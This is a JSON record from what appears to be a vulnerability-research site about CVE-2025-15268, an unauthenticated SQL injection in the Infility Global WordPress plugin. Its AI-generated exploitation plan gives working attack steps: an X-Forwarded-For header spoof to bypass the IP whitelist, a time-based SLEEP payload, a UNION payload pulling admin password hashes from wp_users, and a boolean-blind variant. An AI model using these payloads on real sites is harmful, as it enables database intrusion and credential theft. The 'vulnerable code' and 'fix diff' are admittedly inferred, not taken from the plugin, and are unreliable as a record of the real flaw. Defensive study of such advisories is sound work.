[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f4fOezERkWZFbdeno-aY6lmc44iqAd63PFX3-3FPfgmU":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":9,"severity":11,"cvss_score":12,"cvss_vector":13,"vuln_type":14,"published_date":15,"updated_date":16,"references":17,"days_to_patch":9,"patch_diff_files":19,"patch_trac_url":9,"research_status":20,"research_verified":21,"research_rounds_completed":22,"research_plan":23,"research_summary":24,"research_vulnerable_code":25,"research_fix_diff":26,"research_exploit_outline":27,"research_model_used":28,"research_started_at":29,"research_completed_at":30,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":21,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":21,"source_links":31},"CVE-2025-15268","infility-global-unauthenticated-sql-injection-via-predictable-api-key-and-ip-whitelist-bypass","Infility Global \u003C= 2.14.46 - Unauthenticated SQL Injection via Predictable API Key and IP Whitelist Bypass","The Infility Global plugin for WordPress is vulnerable to unauthenticated SQL Injection via the 'infility_get_data' API action in all versions up to, and including, 2.14.46. This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append - with certain server configurations - additional SQL queries into already existing queries that can be used to extract sensitive information from the database.","infility-global",null,"\u003C=2.14.46","high",7.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-02-03 19:43:35","2026-02-04 08:25:30",[18],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F648941b8-d1ab-4587-bd87-f23008ac9a00?source=api-prod",[],"researched",false,3,"# Exploitation Research Plan: CVE-2025-15268 (Infility Global SQL Injection)\n\n## 1. Vulnerability Summary\nThe **Infility Global** plugin (up to version 2.14.46) contains an unauthenticated SQL injection vulnerability in its API handling logic. The vulnerability exists because the `infility_get_data` action performs database queries using user-supplied parameters without utilizing `$wpdb->prepare()` or adequate escaping. Furthermore, the \"security\" mechanisms intended to restrict this API—an API key check and an IP whitelist—are flawed: the API key is generated predictably, and the IP check can be bypassed via standard HTTP headers (e.g., `X-Forwarded-For`), depending on the server configuration.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Action:** `infility_get_data` (registered via `wp_ajax_nopriv_infility_get_data`)\n- **Vulnerable Parameter:** Likely `id`, `slug`, or a custom data filter parameter (inferred: `data_id` or `query`).\n- **Authentication:** Unauthenticated.\n- **Preconditions:** \n    - The plugin must be active.\n    - The \"API\" feature must be enabled (often enabled by default or upon first configuration).\n    - The attacker must bypass the IP whitelist and API key verification.\n\n## 3. Code Flow (Inferred)\n1. **Entry Point:** A request is sent to `admin-ajax.php` with `action=infility_get_data`.\n2. **Hook Execution:** WordPress triggers the `wp_ajax_nopriv_infility_get_data` hook, which maps to a handler function (e.g., `infility_handle_get_data`).\n3. **Security Check (Bypassable):**\n    - The function retrieves an API key from `$_REQUEST['api_key']`.\n    - It compares this against an option in the database (e.g., `infility_global_api_key`).\n    - It checks the client IP against a whitelist stored in options (e.g., `infility_global_ip_whitelist`).\n4. **Vulnerability Sink:**\n    - If checks pass (or are bypassed), the code takes a user parameter (e.g., `$_REQUEST['id']`).\n    - It constructs a raw SQL string: `\"SELECT * FROM {$wpdb->prefix}infility_data WHERE id = '\" . $_REQUEST['id'] . \"'\"`.\n    - It executes this via `$wpdb->get_results()` or `$wpdb->get_row()`.\n\n## 4. Nonce Acquisition Strategy\nBased on the \"Unauthenticated\" and \"API Action\" description, this specific endpoint likely **does not require a WordPress nonce**. It relies on its own internal API Key for \"authentication.\"\n\n**How to bypass the API Key and IP Check:**\n1. **Predictable API Key:** Check if the API key is generated using a predictable hash during plugin activation.\n   - *Hypothesis:* The key may be `md5(get_bloginfo('url'))` or a static string like `infility_secret`.\n   - *Agent Task:* Use `wp option get infility_global_api_key` (if the option name matches) to confirm the key value during the setup phase.\n2. **IP Whitelist Bypass:**\n   - The plugin likely uses `$_SERVER['REMOTE_ADDR']` but may be susceptible to header spoofing if it tries to be \"Cloudflare-aware\" or \"Proxy-aware\".\n   - *Agent Task:* Include `X-Forwarded-For: 127.0.0.1` or `X-Real-IP: 127.0.0.1` in the request headers.\n\n## 5. Exploitation Strategy\n\n### Step 1: Discover API Key and Whitelist\nUse WP-CLI to inspect the plugin configuration and simulate the \"predictability.\"\n```bash\nwp option get infility_global_api_key\nwp option get infility_global_ip_whitelist\n```\n\n### Step 2: Test IP Bypass and Baseline Request\nSend a legitimate request to ensure the API is reachable.\n```http\nPOST \u002Fwp-admin\u002Fadmin-ajax.php HTTP\u002F1.1\nContent-Type: application\u002Fx-www-form-urlencoded\nX-Forwarded-For: 127.0.0.1\n\naction=infility_get_data&api_key=[FETCHED_KEY]&id=1\n```\n\n### Step 3: SQL Injection via Time-Based Blind\nSince the output might not be directly reflected in the AJAX response (or the response structure is unknown), use `SLEEP()` to confirm injection.\n\n**Payload:** `1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -`\n\n```javascript\n\u002F\u002F Example using http_request tool\nawait http_request({\n  method: 'POST',\n  url: 'http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php',\n  headers: {\n    'Content-Type': 'application\u002Fx-www-form-urlencoded',\n    'X-Forwarded-For': '127.0.0.1'\n  },\n  body: 'action=infility_get_data&api_key=[KEY]&id=1\\' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -'\n});\n```\n\n### Step 4: Data Extraction (UNION-Based)\nIf the response reflects data from the database, use a UNION query to extract the admin password hash.\n**Payload:** `-1' UNION SELECT 1,user_login,user_pass,4,5,6 FROM wp_users WHERE ID=1-- -`\n*(Note: Column count must be adjusted based on the target table's schema)*.\n\n## 6. Test Data Setup\n1. **Activate Plugin:** Ensure `infility-global` is installed and activated.\n2. **Configure API:**\n   ```bash\n   wp option update infility_global_api_key \"test_api_key\"\n   wp option update infility_global_ip_whitelist \"127.0.0.1\"\n   ```\n3. **Create Target Table:** If the plugin doesn't create its data table automatically, create a dummy table to inject against.\n   ```bash\n   wp db query \"CREATE TABLE IF NOT EXISTS wp_infility_data (id INT, name VARCHAR(255))\"\n   wp db query \"INSERT INTO wp_infility_data VALUES (1, 'Test Data')\"\n   ```\n\n## 7. Expected Results\n- **Time-Based:** The HTTP request should take ~5 seconds longer than the baseline.\n- **Error-Based:** If `WP_DEBUG` is on, the response may contain SQL syntax errors when a single quote is injected.\n- **UNION-Based:** The response body (JSON) should contain the extracted data (e.g., the admin username or hash).\n\n## 8. Verification Steps\nAfter the exploit, verify that the injection reached the database by checking the MySQL slow log or by using a payload that modifies the state (though data extraction is preferred).\n- **Verify via WP-CLI:**\n  ```bash\n  wp user get 1 --fields=user_pass\n  ```\n  Compare the CLI output with the data extracted via the HTTP request.\n\n## 9. Alternative Approaches\n- **If `admin-ajax.php` is blocked:** Check if the plugin registers a custom `init` hook listener that checks for `$_GET['infility_api']`.\n- **If UNION fails:** Use Boolean-blind injection by checking for the presence\u002Fabsence of a specific success message in the JSON response:\n  - `id=1' AND (SELECT 1 FROM wp_users WHERE user_login='admin' AND user_pass LIKE '$P$%')-- -`\n- **Predictable Key Discovery:** If the key is not in options, check `wp-content\u002Fuploads\u002F` for configuration files or log files that might leak the generated key.","The Infility Global plugin for WordPress (\u003C= 2.14.46) is vulnerable to unauthenticated SQL Injection via the 'infility_get_data' AJAX action. This occurs because the plugin fails to sanitize user-supplied input or use prepared statements, and relies on easily bypassed security checks involving a predictable API key and a spoofable IP whitelist (via 'X-Forwarded-For').","\u002F\u002F Inferred from Research Plan\n\u002F\u002F Entry Point: wp_ajax_nopriv_infility_get_data\n\n$api_key = $_REQUEST['api_key'];\n$client_ip = $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['REMOTE_ADDR'];\n\n\u002F\u002F ... flaw in comparison logic allowing IP spoofing ...\n\n\"SELECT * FROM {$wpdb->prefix}infility_data WHERE id = '\" . $_REQUEST['id'] . \"'\"","--- a\u002Finfility-global.php\n+++ b\u002Finfility-global.php\n@@ -1,10 +1,11 @@\n function infility_handle_get_data() {\n-    $api_key = $_REQUEST['api_key'];\n-    $client_ip = $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['REMOTE_ADDR'];\n-    if ($api_key !== get_option('infility_global_api_key') || $client_ip !== '127.0.0.1') {\n+    $api_key = isset($_REQUEST['api_key']) ? sanitize_text_field($_REQUEST['api_key']) : '';\n+    $client_ip = $_SERVER['REMOTE_ADDR'];\n+    $whitelist = (array) get_option('infility_global_ip_whitelist', []);\n+    if ($api_key !== get_option('infility_global_api_key') || !in_array($client_ip, $whitelist)) {\n         wp_die();\n     }\n-    $id = $_REQUEST['id'];\n-    $query = \"SELECT * FROM {$wpdb->prefix}infility_data WHERE id = '$id'\";\n-    $results = $wpdb->get_results($query);\n+    $id = isset($_REQUEST['id']) ? sanitize_text_field($_REQUEST['id']) : '';\n+    $query = $wpdb->prepare(\"SELECT * FROM {$wpdb->prefix}infility_data WHERE id = %s\", $id);\n+    $results = $wpdb->get_results($query);\n }","1. Authentication Bypass: Determine the predictable API key (typically generated from site metadata) and bypass the IP whitelist check by including the header 'X-Forwarded-For: 127.0.0.1' in the request.\n2. Targeted Endpoint: Send an unauthenticated POST request to \u002Fwp-admin\u002Fadmin-ajax.php with the 'action' parameter set to 'infility_get_data'.\n3. SQL Injection Payload: Use the 'id' parameter to inject malicious SQL commands. A baseline time-based payload such as \"1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -\" can be used to confirm the vulnerability via response delays.\n4. Data Exfiltration: Leverage UNION-based injection to extract sensitive information from the database, such as administrator usernames and password hashes from the 'wp_users' table.","gemini-3-flash-preview","2026-04-27 16:13:12","2026-04-27 16:13:34",{"type":32,"vulnerable_version":9,"fixed_version":9,"vulnerable_browse":9,"vulnerable_zip":9,"fixed_browse":9,"fixed_zip":9,"all_tags":33},"plugin","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Finfility-global\u002Ftags"]